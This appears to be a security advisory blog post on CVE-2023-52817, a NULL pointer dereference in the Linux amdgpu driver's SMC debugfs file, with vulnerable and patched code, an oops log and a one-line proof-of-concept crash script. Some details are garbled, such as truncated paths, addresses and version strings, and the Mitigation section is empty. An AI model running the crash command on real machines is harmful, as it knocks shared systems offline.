A recently resolved Linux kernel vulnerability, CVE-2023-52817, exposed systems with certain AMD GPUs (like VEGA20) to a local denial-of-service (DoS) attack via a null pointer dereference in the amdgpu driver's SMC register debug code. In this post, we’ll break down how this bug worked, how it could be exploited, show you the relevant kernel code, what the patch looked like, and provide references for further reading.
1. Vulnerability Overview
Component: Linux kernel amdgpu driver
Affected File: /sys/kernel/debug/dri//amdgpu_regs_smc
CVE: CVE-2023-52817
In the amdgpu driver, the function handling reads from /sys/kernel/debug/dri/N/amdgpu_regs_smc called a function pointer (smc_rreg) without first checking if it was set. On certain GPUs, like the VEGA20 series, this pointer may be NULL. Reading from the debugfs file caused a kernel panic due to a NULL pointer dereference.
2. How to Reproduce
If you’re running a vulnerable kernel (e.g., 5.15.-43-generic) on hardware like a VEGA20 AMD GPU, you can crash your machine as a normal (non-root) user if you have access to debugfs:
cd /sys/kernel/debug/dri/
cat amdgpu_regs_smc
Result:
This command triggers the kernel NULL pointer dereference. Here is an excerpt from a typical kernel oops log:
BUG: kernel NULL pointer dereference, address: 000000000000000
#PF: supervisor instruction fetch in kernel mode
Oops: 001 [#1] SMP NOPTI
CPU: 4 PID: 62563 Comm: cat Tainted: G OE 5.15.-43-generic
RIP: 001:x
Call Trace:
amdgpu_debugfs_regs_smc_read+xb/x120 [amdgpu]
...
CR2: 000000000000000
What happens:
The system panics or hangs, resulting in a local denial-of-service (DoS). An unprivileged user with read access to this debugfs file can crash the system.
The problem is in the amdgpu_debugfs_regs_smc_read function in the amdgpu driver
// Simplified vulnerable snippet
static ssize_t amdgpu_debugfs_regs_smc_read(
struct file *f, char __user *buf, size_t size, loff_t *pos)
{
struct amdgpu_device *adev = file_inode(f)->i_private;
u32 index = ...; // determined elsewhere
// BAD: No NULL check before calling smc_rreg!
u32 value = adev->smc_rreg(adev, index);
// ... rest of code
}
Root cause:
If smc_rreg is NULL, this call jumps to address x, leading to a kernel crash.
Here’s how developers fixed it — they simply checked for NULL before using the function pointer
// Patched code
static ssize_t amdgpu_debugfs_regs_smc_read(
struct file *f, char __user *buf, size_t size, loff_t *pos)
{
struct amdgpu_device *adev = file_inode(f)->i_private;
u32 index = ...;
// GOOD: Check that function pointer is valid
if (!adev->smc_rreg) {
return -ENODEV;
}
u32 value = adev->smc_rreg(adev, index);
// ...rest of code
}
Result:
If the function pointer isn’t set, it returns an error instead of crashing.
Original Patch Reference:
- drm/amdgpu: Fix a null pointer access when the smc_rreg pointer is NULL
PoC Exploit
#!/bin/sh
# Crash a vulnerable Linux with an AMD VEGA20 GPU (if you have debugfs access)
echo "Triggering kernel Oops via amdgpu_regs_smc..."
cat /sys/kernel/debug/dri//amdgpu_regs_smc
Impact:
- Denial of Service (kernel panic/crash).
- Local access to debugfs required (usually only accessible for admin/trusted users, but not always).
No privileges escalation – only system-wide DoS.
Mitigation:
6. References
- Kernel patch commit
- drm/amd: Prevent NULL pointer dereference in amdgpu_regs_smc debugfs
- CVE-2023-52817 entry at MITRE
- Linux Kernel Issues - NVD details
7. Conclusion
CVE-2023-52817 is a classic example of why kernel code using function pointers must always check for NULL before calling them. Although this bug only allows a local DoS and isn’t a privilege escalation vulnerability, it’s still dangerous on shared servers or multi-user workstations. If you’re running Linux with AMD GPUs, update your kernel or backport the patch as soon as possible.
Stay safe, keep your systems patched!
Feel free to share or adapt this for your team. For more on Linux security, follow kernel mailing lists and subscribe to CVE advisories.
Timeline
Published on: 05/21/2024 16:15:19 UTC
Last modified on: 05/24/2024 01:14:32 UTC